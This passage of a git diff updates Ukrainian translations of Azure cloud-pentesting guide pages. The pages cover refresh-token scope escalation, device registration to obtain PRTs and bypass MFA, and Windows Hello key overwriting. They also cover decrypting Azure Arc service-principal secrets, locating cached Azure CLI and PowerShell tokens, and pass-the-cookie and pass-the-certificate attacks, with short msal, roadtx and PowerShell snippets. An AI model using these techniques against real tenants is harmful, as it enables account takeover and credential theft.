**JWT**. Тому, якщо ви запитуєте **токен з дозволеної IP-адреси**, ця **IP** буде **збережена** в токені, і тоді ви зможете використовувати цей токен з **недозволеної IP для доступу до ресурсів**. -### Access Tokens "aud" +### Токени Доступу "aud" -Поле, вказане в полі "aud", є **сервером ресурсів** (додатком), що використовується для виконання входу. +Поле, вказане в полі "aud", є **сервером ресурсів** (застосунком), що використовується для виконання входу. Команда `az account get-access-token --resource-type [...]` підтримує такі типи, і кожен з них додасть конкретний "aud" у результативний токен доступу: @@ -65,13 +65,13 @@ Entra ID - це хмарна платформа управління ідент приклади aud -- **aad-graph (Azure Active Directory Graph API)**: Використовується для доступу до застарілого Azure AD Graph API (депрецированого), який дозволяє додаткам читати та записувати дані каталогу в Azure Active Directory (Azure AD). +- **aad-graph (Azure Active Directory Graph API)**: Використовується для доступу до застарілого Azure AD Graph API (депрецированого), який дозволяє застосункам читати та записувати дані каталогу в Azure Active Directory (Azure AD). - `https://graph.windows.net/` * **arm (Azure Resource Manager)**: Використовується для управління ресурсами Azure через API Azure Resource Manager. Це включає операції, такі як створення, оновлення та видалення ресурсів, таких як віртуальні машини, облікові записи зберігання тощо. - `https://management.core.windows.net/ or https://management.azure.com/` -- **batch (Azure Batch Services)**: Використовується для доступу до Azure Batch, сервісу, який дозволяє ефективно виконувати великомасштабні паралельні та високопродуктивні обчислювальні програми в хмарі. +- **batch (Azure Batch Services)**: Використовується для доступу до Azure Batch, сервісу, який дозволяє ефективно виконувати великомасштабні паралельні та високопродуктивні обчислювальні застосунки в хмарі. - `https://batch.core.windows.net/` * **data-lake (Azure Data Lake Storage)**: Використовується для взаємодії з Azure Data Lake Storage Gen1, який є масштабованим сервісом зберігання даних та аналітики. @@ -88,13 +88,13 @@ Entra ID - це хмарна платформа управління ідент
-### Access Tokens Scopes "scp" +### Обсяги Токенів Доступу "scp" Обсяг токена доступу зберігається всередині ключа scp всередині JWT токена доступу. Ці обсяги визначають, до чого має доступ токен доступу. -Якщо JWT дозволено контактувати з конкретним API, але **не має обсягу** для виконання запитуваної дії, він **не зможе виконати дію** з цим JWT. +Якщо JWT дозволено контактувати з конкретним API, але **не має обсягу** для виконання запитаної дії, він **не зможе виконати дію** з цим JWT. -### Get refresh & access token example +### Приклад отримання токена оновлення та доступу ```python # Code example from https://github.com/secureworks/family-of-client-ids-research import msal @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -147,7 +146,7 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ## FOCI Tokens Privilege Escalation -Раніше згадувалося, що токени оновлення повинні бути прив'язані до **scopes**, з якими вони були згенеровані, до **додатку** та **орендаря**, для яких вони були згенеровані. Якщо будь-яка з цих меж буде порушена, можливо підвищити привілеї, оскільки буде можливим генерувати токени доступу до інших ресурсів і орендарів, до яких користувач має доступ, і з більшими scopes, ніж це було спочатку передбачено. +Раніше згадувалося, що токени оновлення повинні бути прив'язані до **областей** (scopes), з якими вони були згенеровані, до **додатку** та **орендаря** (tenant), для якого вони були згенеровані. Якщо будь-яка з цих меж буде порушена, можливо підвищити привілеї, оскільки буде можливим генерувати токени доступу до інших ресурсів і орендарів, до яких користувач має доступ, і з більшою кількістю областей, ніж це було спочатку передбачено. Більше того, **це можливо з усіма токенами оновлення** в [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (облікові записи Microsoft Entra, особисті облікові записи Microsoft та соціальні облікові записи, такі як Facebook і Google), оскільки, як зазначають [**документи**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens): "Токени оновлення прив'язані до комбінації користувача та клієнта, але **не прив'язані до ресурсу або орендаря**. Клієнт може використовувати токен оновлення для отримання токенів доступу **в будь-якій комбінації ресурсу та орендаря**, де він має на це дозвіл. Токени оновлення зашифровані, і лише платформа ідентичності Microsoft може їх читати." @@ -157,7 +156,7 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ### Get different scope -Продовжуючи попередній приклад коду, у цьому коді запитується новий токен для іншого scope: +Продовжуючи попередній приклад коду, у цьому коді запитується новий токен для іншої області: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( @@ -174,7 +173,7 @@ scopes=[ ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` -### Отримати різні клієнти та області дії +### Отримати різні клієнти та області ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 36dd5879f..2b87b2306 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -10,7 +10,7 @@ Потім у пристрої генеруються дві пари ключів RSA: **ключ пристрою** (**публічний** ключ), який надсилається до **AzureAD**, і **транспортний** ключ (**приватний** ключ), який зберігається в TPM, якщо це можливо. -Потім у **AzureAD** генерується **об'єкт** (не в Intune), і AzureAD повертає пристрою **сертифікат**, підписаний ним. Ви можете перевірити, що **пристрій приєднано до AzureAD** та інформацію про **сертифікат** (наприклад, чи захищений він TPM). +Потім у **AzureAD** створюється **об'єкт** (не в Intune), і AzureAD повертає пристрою **сертифікат**, підписаний ним. Ви можете перевірити, що **пристрій приєднано до AzureAD** та інформацію про **сертифікат** (наприклад, чи захищений він TPM). ```bash dsregcmd /status ``` @@ -22,12 +22,12 @@ dsregcmd /status az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md {{#endref}} -### TPM - Модуль довірчої платформи +### TPM - Довірчий модуль платформи **TPM** **захищає** від витоку ключів **з витягування** з вимкненого пристрою (якщо захищено PIN-кодом) та від витягування приватних матеріалів з рівня ОС.\ Але він **не захищає** від **перехоплення** фізичного з'єднання між TPM і ЦП або **використання криптографічних матеріалів** у TPM, поки система працює з процесу з правами **SYSTEM**. -Якщо ви переглянете наступну сторінку, ви побачите, що **викрадення PRT** може бути використано для доступу як **користувач**, що чудово, оскільки **PRT знаходиться на пристроях**, тому його можна вкрасти з них (або, якщо не вкрасти, зловживати для генерації нових ключів підпису): +Якщо ви переглянете наступну сторінку, ви побачите, що **викрадення PRT** може бути використано для доступу як **користувач**, що є чудово, оскільки **PRT розташовані на пристроях**, тому їх можна вкрасти (або, якщо не вкрадені, зловживати для генерації нових підписних ключів): {{#ref}} az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` -Який надасть вам **сертифікат, який ви можете використовувати для запиту PRT у майбутньому**. Таким чином, підтримуючи постійність і **обминаючи MFA**, оскільки оригінальний токен PRT, використаний для реєстрації нового пристрою, **вже мав дозволи на MFA**. +Який надасть вам **сертифікат, який ви можете використовувати для запиту PRT у майбутньому**. Таким чином, підтримуючи стійкість і **обминаючи MFA**, оскільки оригінальний токен PRT, використаний для реєстрації нового пристрою, **вже мав надані дозволи MFA**. > [!TIP] > Зверніть увагу, що для виконання цієї атаки вам знадобляться дозволи на **реєстрацію нових пристроїв**. Також реєстрація пристрою не означає, що пристрій буде **дозволено зареєструватися в Intune**. @@ -55,7 +55,7 @@ registerdevice.py > [!CAUTION] > Цю атаку виправили у вересні 2021 року, оскільки ви більше не можете реєструвати нові пристрої, використовуючи токени SSO. Однак все ще можливо легітимно реєструвати пристрої (маючи ім'я користувача, пароль і MFA, якщо потрібно). Перевірте: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Перезапис квитка пристрою +## Перезаписування квитка пристрою Було можливим **запросити квиток пристрою**, **перезаписати** поточний квиток пристрою і під час процесу **викрасти PRT** (тому немає потреби викрадати його з TPM. Для отримання додаткової інформації [**перевірте цю доповідь**](https://youtu.be/BduCn8cLV1A). @@ -64,7 +64,7 @@ registerdevice.py > [!CAUTION] > Однак це було виправлено. -## Перезапис ключа WHFB +## Перезаписати ключ WHFB [**Перевірте оригінальні слайди тут**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) @@ -72,9 +72,13 @@ registerdevice.py - Можливо **перезаписати** **зареєстрований ключ WHFB** з **пристрою** через SSO - Це **обминає захист TPM**, оскільки ключ **перехоплюється під час генерації** нового ключа -- Це також забезпечує **постійність** +- Це також забезпечує **стійкість** -
+ +Користувачі можуть змінювати свою власну властивість searchableDeviceKey через Azure AD Graph, однак атакуючий повинен мати пристрій у тенанті (зареєстрований на льоту або викравши сертифікат + ключ з легітимного пристрою) і дійсний токен доступу для AAD Graph. + +Тоді можливо згенерувати новий ключ за допомогою: ```bash roadtx genhellokey -d -k tempkey.key ``` @@ -82,7 +86,7 @@ roadtx genhellokey -d -k tempkey.key
-Можливо отримати токен доступу від користувача через **фішинг за допомогою коду пристрою** і зловживати попередніми кроками, щоб **викрасти його доступ**. Для отримання додаткової інформації перегляньте: +Можливо отримати токен доступу від користувача через **фішинг за допомогою коду пристрою** і зловживати попередніми кроками, щоб **викрасти його доступ**. Для отримання додаткової інформації перевірте: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 1cb4876ab..e72bf1b1c 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -47,13 +47,13 @@ pwsh brew update brew upgrade powershell ``` -## Основні інструменти для перерахунку +## Основні інструменти перерахунку ### az cli [**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) - це кросплатформений інструмент, написаний на Python для управління та адміністрування (більшості) ресурсів Azure та Entra ID. Він підключається до Azure та виконує адміністративні команди через командний рядок або скрипти. -Слідуйте за цим посиланням для [**інструкцій з установки¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). +Слідкуйте за цим посиланням для [**інструкцій з установки¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). Команди в Azure CLI структуровані за шаблоном: `az ` @@ -95,9 +95,9 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" Azure PowerShell - це модуль з cmdlet для управління ресурсами Azure безпосередньо з командного рядка PowerShell. -Слідуйте за цим посиланням для [**інструкцій з установки**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). +Слідкуйте за цим посиланням для [**інструкцій з установки**](https://learn.microsoft.com/en-us/powershell/azure/install-azure-powershell). -Команди в модулі Azure PowerShell AZ структуровані так: `-Az ` +Команди в модулі Azure PowerShell AZ структуровані як: `-Az ` #### Debug | MitM Az PowerShell @@ -105,11 +105,11 @@ Azure PowerShell - це модуль з cmdlet для управління ре ```bash Get-AzResourceGroup -Debug ``` -Щоб виконати **MitM** для інструмента та **перевірити всі запити**, які він надсилає вручну, ви можете встановити змінні середовища `HTTPS_PROXY` та `HTTP_PROXY` відповідно до [**документації**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Щоб виконати **MitM** для інструменту та **перевірити всі запити**, які він надсилає вручну, ви можете встановити змінні середовища `HTTPS_PROXY` та `HTTP_PROXY` відповідно до [**документації**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Microsoft Graph PowerShell — це кросплатформений SDK, який забезпечує доступ до всіх API Microsoft Graph, включаючи сервіси, такі як SharePoint, Exchange та Outlook, за допомогою єдиного кінцевого пункту. Він підтримує PowerShell 7+, сучасну аутентифікацію через MSAL, зовнішні ідентичності та розширені запити. Зосереджуючись на доступі з найменшими привілеями, він забезпечує безпечні операції та регулярно отримує оновлення, щоб відповідати останнім функціям API Microsoft Graph. +Microsoft Graph PowerShell - це кросплатформений SDK, який забезпечує доступ до всіх API Microsoft Graph, включаючи сервіси, такі як SharePoint, Exchange та Outlook, за допомогою єдиного кінцевого пункту. Він підтримує PowerShell 7+, сучасну аутентифікацію через MSAL, зовнішні ідентичності та розширені запити. Зосереджуючись на доступі з найменшими привілеями, він забезпечує безпечні операції та регулярно отримує оновлення, щоб відповідати останнім функціям API Microsoft Graph. Слідуйте за цим посиланням для [**інструкцій з установки**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). @@ -117,13 +117,13 @@ Microsoft Graph PowerShell — це кросплатформений SDK, яки #### Налагодження Microsoft Graph PowerShell -Використовуючи параметр **`-Debug`**, можна побачити всі запити, які надсилає інструмент: +Використовуючи параметр **`-Debug`**, можна побачити всі запити, які інструмент надсилає: ```bash Get-MgUser -Debug ``` ### ~~**AzureAD Powershell**~~ -Модуль Azure Active Directory (AD), який зараз **застарілий**, є частиною Azure PowerShell для управління ресурсами Azure AD. Він надає cmdlet для завдань, таких як управління користувачами, групами та реєстраціями додатків в Entra ID. +Модуль Azure Active Directory (AD), тепер **застарілий**, є частиною Azure PowerShell для управління ресурсами Azure AD. Він надає cmdlet для завдань, таких як управління користувачами, групами та реєстрацією додатків в Entra ID. > [!TIP] > Це замінено на Microsoft Graph PowerShell diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 2890b27e5..263d473c3 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -1,64 +1,64 @@ -# Az - Lateral Movement (Cloud - On-Prem) +# Az - Бічний Рух (Хмара - На місці) -## Az - Lateral Movement (Cloud - On-Prem) +## Az - Бічний Рух (Хмара - На місці) {{#include ../../../banners/hacktricks-training.md}} -### On-Prem machines connected to cloud +### На місцевих машинах, підключених до хмари -Є різні способи, як машина може бути підключена до хмари: +Існують різні способи підключення машини до хмари: -#### Azure AD joined +#### Приєднано до Azure AD
-#### Workplace joined +#### Приєднано до робочого місця

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

-#### Hybrid joined +#### Гібридне приєднання

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

-#### Workplace joined on AADJ or Hybrid +#### Приєднано до робочого місця на AADJ або Гібридному

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

-### Tokens and limitations +### Токени та обмеження -В Azure AD є різні типи токенів з конкретними обмеженнями: +В Azure AD існують різні типи токенів з конкретними обмеженнями: -- **Access tokens**: Використовуються для доступу до API та ресурсів, таких як Microsoft Graph. Вони прив'язані до конкретного клієнта та ресурсу. -- **Refresh tokens**: Видаються додаткам для отримання нових токенів доступу. Вони можуть використовуватися лише додатком, якому вони були видані, або групою додатків. -- **Primary Refresh Tokens (PRT)**: Використовуються для єдиного входу на пристроях, приєднаних до Azure AD, зареєстрованих або гібридних. Вони можуть використовуватися в процесах входу через браузер та для входу в мобільні та настільні додатки на пристрої. -- **Windows Hello for Business keys (WHFB)**: Використовуються для безпарольної аутентифікації. Використовуються для отримання Primary Refresh Tokens. +- **Токени доступу**: Використовуються для доступу до API та ресурсів, таких як Microsoft Graph. Вони прив'язані до конкретного клієнта та ресурсу. +- **Токени оновлення**: Видаються додаткам для отримання нових токенів доступу. Вони можуть використовуватися лише додатком, якому вони були видані, або групою додатків. +- **Основні токени оновлення (PRT)**: Використовуються для єдиного входу на пристроях, приєднаних до Azure AD, зареєстрованих або гібридно приєднаних. Вони можуть використовуватися в потоках входу через браузер та для входу в мобільні та настільні додатки на пристрої. +- **Ключі Windows Hello for Business (WHFB)**: Використовуються для безпарольної аутентифікації. Вони використовуються для отримання основних токенів оновлення. -Найцікавіший тип токена - це Primary Refresh Token (PRT). +Найцікавіший тип токена - це основний токен оновлення (PRT). {{#ref}} az-primary-refresh-token-prt.md {{#endref}} -### Pivoting Techniques +### Техніки Півотування Від **зламаної машини до хмари**: -- [**Pass the Cookie**](az-pass-the-cookie.md): Вкрасти Azure cookies з браузера та використовувати їх для входу +- [**Pass the Cookie**](az-pass-the-cookie.md): Вкрасти куки Azure з браузера та використовувати їх для входу - [**Dump processes access tokens**](az-processes-memory-access-token.md): Вивантажити пам'ять локальних процесів, синхронізованих з хмарою (як excel, Teams...) та знайти токени доступу у відкритому тексті. - [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Фішинг PRT для його зловживання - [**Pass the PRT**](pass-the-prt.md): Вкрасти PRT пристрою для доступу до Azure, видаючи себе за нього. -- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Згенерувати сертифікат на основі PRT для входу з одного пристрою на інший +- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Згенерувати сертифікат на основі PRT для входу з однієї машини на іншу -Від компрометації **AD** до компрометації **Cloud** та від компрометації **Cloud** до компрометації **AD**: +Від компрометації **AD** до компрометації **Хмари** та від компрометації **Хмари** до компрометації **AD**: - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **Ще один спосіб переходу з хмари на On-Prem - це** [**зловживання Intune**](../az-services/intune.md) +- **Інший спосіб півотування з хмари на місце** [**зловживання Intune**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) Цей інструмент дозволяє виконувати кілька дій, таких як реєстрація машини в Azure AD для отримання PRT, та використовувати PRT (легітимні або вкрадені) для доступу до ресурсів різними способами. Це не прямі атаки, але це полегшує використання PRT для доступу до ресурсів різними способами. Знайдіть більше інформації на [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) -## References +## Посилання - [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 051236c0d..73223e14d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -1,19 +1,19 @@ -# Az - Arc вразливий GPO Deploy Script +# Az - Arc вразливий GPO Деплой Скрипт {{#include ../../../banners/hacktricks-training.md}} ### Виявлення проблем -Azure Arc дозволяє інтеграцію нових внутрішніх серверів (приєднаних до домену) в Azure Arc за допомогою методу об'єкта групової політики. Для цього Microsoft надає набір інструментів для розгортання, необхідний для ініціювання процедури приєднання. У файлі ArcEnableServerGroupPolicy.zip можна знайти наступні скрипти: DeployGPO.ps1, EnableAzureArc.ps1 та AzureArcDeployment.psm1. +Azure Arc дозволяє інтегрувати нові внутрішні сервери (приєднані до домену) в Azure Arc за допомогою методу об'єкта групової політики. Для цього Microsoft надає набір інструментів для розгортання, необхідний для ініціювання процедури приєднання. У файлі ArcEnableServerGroupPolicy.zip можна знайти такі скрипти: DeployGPO.ps1, EnableAzureArc.ps1 та AzureArcDeployment.psm1. При виконанні скрипт DeployGPO.ps1 виконує такі дії: 1. Створює GPO для приєднання серверів Azure Arc у локальному домені. 2. Копіює скрипт приєднання EnableAzureArc.ps1 на вказану мережеву папку, створену для процесу приєднання, яка також містить пакет установника Windows. -При запуску цього скрипта адміністраторам систем потрібно надати два основні параметри: **ServicePrincipalId** та **ServicePrincipalClientSecret**. Крім того, потрібні інші параметри, такі як домен, FQDN сервера, що хостить спільну папку, та ім'я спільної папки. Додаткові деталі, такі як ідентифікатор орендаря, група ресурсів та інша необхідна інформація також повинні бути надані скрипту. +При запуску цього скрипта адміністраторам систем потрібно надати два основні параметри: **ServicePrincipalId** та **ServicePrincipalClientSecret**. Крім того, потрібні інші параметри, такі як домен, FQDN сервера, що хостить загальний доступ, та ім'я загального доступу. Додаткові деталі, такі як ідентифікатор орендаря, група ресурсів та інша необхідна інформація також повинні бути надані скрипту. -Зашифрований секрет генерується в каталозі AzureArcDeploy на вказаній спільній папці за допомогою шифрування DPAPI-NG. Зашифрований секрет зберігається у файлі з назвою encryptedServicePrincipalSecret. Доказ цього можна знайти у скрипті DeployGPO.ps1, де шифрування виконується шляхом виклику ProtectBase64 з $descriptor та $ServicePrincipalSecret як вхідними даними. Дескриптор складається з SID груп комп'ютерів домену та контролерів домену, що забезпечує, що ServicePrincipalSecret може бути розшифрований лише контролерами домену та групами безпеки комп'ютерів домену, як зазначено в коментарях до скрипту. +Зашифрований секрет генерується в каталозі AzureArcDeploy на вказаному загальному доступі за допомогою шифрування DPAPI-NG. Зашифрований секрет зберігається у файлі з назвою encryptedServicePrincipalSecret. Доказ цього можна знайти у скрипті DeployGPO.ps1, де шифрування виконується шляхом виклику ProtectBase64 з $descriptor та $ServicePrincipalSecret як вхідними даними. Дескриптор складається з SID груп комп'ютерів домену та контролерів домену, що забезпечує, що ServicePrincipalSecret може бути розшифрований лише групами безпеки контролерів домену та комп'ютерів домену, як зазначено в коментарях до скрипту. ```powershell # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID @@ -54,7 +54,7 @@ $ebs ``` Альтернативно, ми можемо використовувати [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -На цьому етапі ми можемо зібрати залишкову інформацію, необхідну для підключення до Azure з файлу ArcInfo.json, який зберігається на тому ж мережевому загальному доступі, що й файл encryptedServicePrincipalSecret. Цей файл містить такі деталі, як: TenantId, servicePrincipalClientId, ResourceGroup та інше. З цією інформацією ми можемо використовувати Azure CLI для автентифікації як скомпрометований сервісний принципал. +На цьому етапі ми можемо зібрати залишкову інформацію, необхідну для підключення до Azure з файлу ArcInfo.json, який зберігається на тому ж мережевому загальному доступі, що й файл encryptedServicePrincipalSecret. Цей файл містить деталі, такі як: TenantId, servicePrincipalClientId, ResourceGroup та інше. З цією інформацією ми можемо використовувати Azure CLI для автентифікації як скомпрометований сервісний принципал. ## References diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index 3831f3db4..e7a7905d9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -1,16 +1,16 @@ -# Az - Local Cloud Credentials +# Az - Локальні Облікові Дані Хмари {{#include ../../../banners/hacktricks-training.md}} -## Local Token Storage and Security Considerations +## Локальне Зберігання Токенів та Розгляд Безпеки -### Azure CLI (Command-Line Interface) +### Azure CLI (Інтерфейс Командного Рядка) Токени та чутливі дані зберігаються локально Azure CLI, що викликає занепокоєння щодо безпеки: -1. **Access Tokens**: Зберігаються у відкритому вигляді в `accessTokens.json`, розташованому за адресою `C:\Users\\.Azure`. -2. **Subscription Information**: `azureProfile.json`, у тій же директорії, містить деталі підписки. -3. **Log Files**: Папка `ErrorRecords` у `.azure` може містити журнали з відкритими обліковими даними, такі як: +1. **Токени Доступу**: Зберігаються у відкритому вигляді в `accessTokens.json`, розташованому за адресою `C:\Users\\.Azure`. +2. **Інформація про Підписку**: `azureProfile.json`, у тій же директорії, містить деталі підписки. +3. **Лог-файли**: Папка `ErrorRecords` у `.azure` може містити журнали з відкритими обліковими даними, такими як: - Виконані команди з вбудованими обліковими даними. - URL-адреси, доступ до яких здійснювався за допомогою токенів, що потенційно розкриває чутливу інформацію. @@ -18,22 +18,22 @@ Azure PowerShell також зберігає токени та чутливі дані, до яких можна отримати доступ локально: -1. **Access Tokens**: `TokenCache.dat`, розташований за адресою `C:\Users\\.Azure`, зберігає токени доступу у відкритому вигляді. -2. **Service Principal Secrets**: Ці дані зберігаються у незашифрованому вигляді в `AzureRmContext.json`. -3. **Token Saving Feature**: Користувачі мають можливість зберігати токени за допомогою команди `Save-AzContext`, яку слід використовувати обережно, щоб запобігти несанкціонованому доступу. +1. **Токени Доступу**: `TokenCache.dat`, розташований за адресою `C:\Users\\.Azure`, зберігає токени доступу у відкритому вигляді. +2. **Секрети Сервісного Принципала**: Ці дані зберігаються у незашифрованому вигляді в `AzureRmContext.json`. +3. **Функція Збереження Токенів**: Користувачі мають можливість зберігати токени за допомогою команди `Save-AzContext`, яку слід використовувати обережно, щоб запобігти несанкціонованому доступу. -## Automatic Tools to find them +## Автоматичні Інструменти для їх Пошуку - [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) - [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1) -## Security Recommendations +## Рекомендації з Безпеки -Враховуючи зберігання чутливих даних у відкритому вигляді, важливо захистити ці файли та директорії, дотримуючись таких рекомендацій: +Враховуючи зберігання чутливих даних у відкритому вигляді, важливо забезпечити безпеку цих файлів та директорій шляхом: -- Обмежити права доступу до цих файлів. -- Регулярно моніторити та перевіряти ці директорії на наявність несанкціонованого доступу або несподіваних змін. -- Використовувати шифрування для чутливих файлів, де це можливо. -- Освітлювати користувачів про ризики та найкращі практики обробки такої чутливої інформації. +- Обмеження прав доступу до цих файлів. +- Регулярного моніторингу та аудиту цих директорій на предмет несанкціонованого доступу або несподіваних змін. +- Використання шифрування для чутливих файлів, де це можливо. +- Освіти користувачів щодо ризиків та найкращих практик обробки таких чутливих даних. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 152e67f7e..f7284eb5e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -9,13 +9,13 @@ У спрощених термінах: - Машина (клієнт), що ініціює з'єднання, **потребує сертифікат від Azure AD для користувача**. -- Клієнт створює заголовок JSON Web Token (JWT), що містить PRT та інші деталі, підписує його, використовуючи похідний ключ (з використанням сеансового ключа та контексту безпеки), і **надсилає його до Azure AD**. -- Azure AD перевіряє підпис JWT, використовуючи сеансовий ключ клієнта та контекст безпеки, перевіряє дійсність PRT і **відповідає** з **сертифікатом**. +- Клієнт створює заголовок JSON Web Token (JWT), що містить PRT та інші деталі, підписує його, використовуючи похідний ключ (з використанням ключа сесії та контексту безпеки), і **надсилає його до Azure AD**. +- Azure AD перевіряє підпис JWT, використовуючи ключ сесії клієнта та контекст безпеки, перевіряє дійсність PRT і **відповідає** з **сертифікатом**. У цьому сценарії, після збору всієї необхідної інформації для атаки [**Pass the PRT**](pass-the-prt.md): - Ім'я користувача -- Ідентифікатор орендаря +- ID орендаря - PRT - Контекст безпеки - Похідний ключ @@ -28,8 +28,8 @@ RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx H ```bash Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP ``` -## References +## Посилання -- Для отримання додаткової інформації про те, як працює Pass the Certificate, перегляньте оригінальну публікацію [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) +- Для отримання додаткової інформації про те, як працює Pass the Certificate, перегляньте оригінальний пост [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md index a7964fe45..617996c01 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md @@ -4,7 +4,7 @@ ## Чому куки? -Браузерні **куки** є чудовим механізмом для **обходу аутентифікації та MFA**. Оскільки користувач вже аутентифікований в додатку, **сеанс куки** може бути використаний для **доступу до даних** як цей користувач, без необхідності повторної аутентифікації. +Браузерні **куки** є чудовим механізмом для **обходу аутентифікації та MFA**. Оскільки користувач вже аутентифікований в додатку, сесійний **кук** може бути використаний для **доступу до даних** як цей користувач, без необхідності повторної аутентифікації. Ви можете побачити, де знаходяться **браузерні куки** в: @@ -14,13 +14,13 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ## Атака -Складна частина полягає в тому, що ці **куки зашифровані** для **користувача** через Microsoft Data Protection API (**DPAPI**). Це зашифровано за допомогою криптографічних [ключів, прив'язаних до користувача](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords), до яких належать куки. Ви можете знайти більше інформації про це в: +Складна частина полягає в тому, що ці **куки зашифровані** для **користувача** через Microsoft Data Protection API (**DPAPI**). Це зашифровано за допомогою криптографічних [ключів, пов'язаних з 